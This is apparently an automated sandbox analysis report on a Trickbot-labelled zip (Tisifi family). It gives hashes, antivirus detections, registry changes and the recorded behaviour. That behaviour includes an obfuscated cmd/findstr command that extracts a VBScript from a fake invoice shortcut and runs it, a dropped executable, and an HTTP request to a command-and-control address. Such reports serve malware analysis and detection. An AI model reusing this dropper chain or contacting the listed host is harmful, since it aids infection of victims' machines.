Tisifi_635769e71a42dbddc363dd0c1ed1b241_zip_2019-08-09_20_30.txt

* MalFamily: "Tisifi"

* MalScore: 5.3999999999999995

* File Name: "Trickbot_635769e71a42dbddc363dd0c1ed1b241.zip"
* File Size: 3350
* File Type: "Zip archive data, at least v2.0 to extract"
* SHA256: "5576869359645f2e5a4400463a67e7395b94f321a2f0ae446c4b5062987525df"
* MD5: "635769e71a42dbddc363dd0c1ed1b241"
* SHA1: "c16434f70da6f38ca2f55f38c75472c2c24a85f2"
* SHA512: "5129afcf9b146d6898cc8e9cb720b72de6057c822e35cfb0c1d115d3c18dbbfbc1ffe50f0f5921175d9b99569bcef6bf7ebee3cfffaa38050ae647eee4c34861"
* CRC32: "BD673102"
* SSDEEP: "48:9vKl3cYc5CmrchQNlRAWwt+9hNmv41/ZLlSaf+Js2WlDcbqiRQpUb8G2cFn/:V6cYLQ9nRAWMv41/Z86cs29ew5n/"

* Process Execution:
    "cmd.exe",
    "cmd.exe",
    "findstr.exe",
    "wscript.exe",
    "4140096_5399818_9417893.exe"


* Executed Commands:
    "\"C:\\Windows\\System32\\cmd.exe\" /c cd AmNyF & (fin^dstr \"TCrqF.*\" Invoice_Print.lnk > \"C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs\" & \"C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs\") & tyCBa",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Invoice_Print.lnk ",
    "findstr  \"TCrqF.*\" Invoice_Print.lnk",
    "\"C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs\"",
    "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs\"",
    "C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs ",
    "C:\\Users\\user\\AppData\\Local\\Temp\\4140096_5399818_9417893.exe"


* Signatures Detected:

        "Description": "Detected script timer window indicative of sleep style evasion",
        "Details":

                "Window": "WSH-Timer"




        "Description": "Reads data out of its own binary image",
        "Details":

                "self_read": "process: wscript.exe, pid: 1596, offset: 0x00000000, length: 0x00000040"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x000000f0, length: 0x00000018"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x000001e8, length: 0x00000078"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x00018000, length: 0x00000020"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x00018058, length: 0x00000018"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x000181a8, length: 0x00000018"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x00018470, length: 0x00000010"


                "self_read": "process: wscript.exe, pid: 1596, offset: 0x00018640, length: 0x00000012"




        "Description": "File has been identified by 8 Antiviruses on VirusTotal as malicious",
        "Details":

                "McAfee": "Artemis!3A2BB3DBEE12"


                "Rising": "Trojan.Obfus/VBS!1.B96F (CLASSIC)"


                "Sophos": "Troj/LnkDrop-B"


                "McAfee-GW-Edition": "Artemis"


                "Microsoft": "Trojan:BAT/Tisifi.A"


                "VBA32": "Trojan.Link.DoubleRun"


                "Zoner": "Probably LNKScript"


                "Qihoo-360": "susp.lnk.script"




        "Description": "Drops a binary and executes it",
        "Details":

                "binary": "C:\\Users\\user\\AppData\\Local\\Temp\\4140096_5399818_9417893.exe"




        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
        "Details":

                "ip_hostname": "HTTP connection was made to an IP address rather than domain name"


                "suspicious_request": "http://45.15.253.88/main.php"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://45.15.253.88/main.php"





* Started Service:

* Mutexes:
    "Local\\ZoneAttributeCacheCounterMutex",
    "Local\\ZonesCacheCounterMutex",
    "Local\\ZonesLockedCacheCounterMutex"


* Modified Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs",
    "C:\\Users\\user\\AppData\\Local\\Temp\\4140096_5399818_9417893.exe",
    "\\Device\\NamedPipe",
    "C:\\ProgramData\\\\xd0\\xbe\\xd0\\xbd\\xd0\\xb3\\xd0\\xb2\\xd1\\x8b\\xd1\\x8b\\xd1\\x87\\xd1\\x84\\xd0\\xb9\\xd0\\xbb.exe"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\gDDhe.vbs"


* Modified Registry Keys:
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect"


* Deleted Registry Keys:
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"


* DNS Communications:

* Domains:

* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "",
        "uri": "http://45.15.253.88/main.php",
        "user-agent": "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)",
        "method": "GET",
        "host": "45.15.253.88",
        "version": "1.1",
        "path": "/main.php",
        "data": "GET /main.php HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\r\nHost: 45.15.253.88\r\n\r\n",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: